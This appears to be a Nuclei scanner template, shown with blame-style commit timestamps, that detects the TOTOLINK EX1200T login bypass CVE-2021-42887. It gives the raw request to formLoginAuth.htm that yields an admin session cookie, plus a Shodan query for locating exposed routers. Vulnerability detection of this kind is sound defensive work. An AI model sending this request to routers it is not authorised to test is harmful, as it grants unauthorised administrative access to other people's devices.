2022-11-06 07:01:25 +00:00
|
|
|
id: CVE-2021-42887
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: TOTOLINK - Authentication Bypass
|
|
|
|
author: gy741
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
|
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/cve-2021-42887
|
|
|
|
- https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
|
|
|
|
classification:
|
2023-01-05 11:21:19 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-11-06 07:01:25 +00:00
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2021-42887
|
|
|
|
cwe-id: CWE-287
|
2022-12-22 10:58:41 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: title:"TOTOLINK"
|
2022-11-06 07:01:25 +00:00
|
|
|
tags: totolink,auth-bypass,cve,cve2021,router
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
2022-12-22 10:58:41 +00:00
|
|
|
- |
|
|
|
|
GET /login.htm HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2022-11-06 07:01:25 +00:00
|
|
|
- |
|
2022-12-22 10:50:09 +00:00
|
|
|
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
|
2022-11-06 07:01:25 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-12-22 10:58:41 +00:00
|
|
|
part: body_1
|
|
|
|
words:
|
2022-12-22 11:01:06 +00:00
|
|
|
- "TOTOLINK"
|
2022-12-22 10:58:41 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header_2
|
2022-11-06 07:01:25 +00:00
|
|
|
words:
|
|
|
|
- "Set-Cookie: SESSION_ID="
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 302
|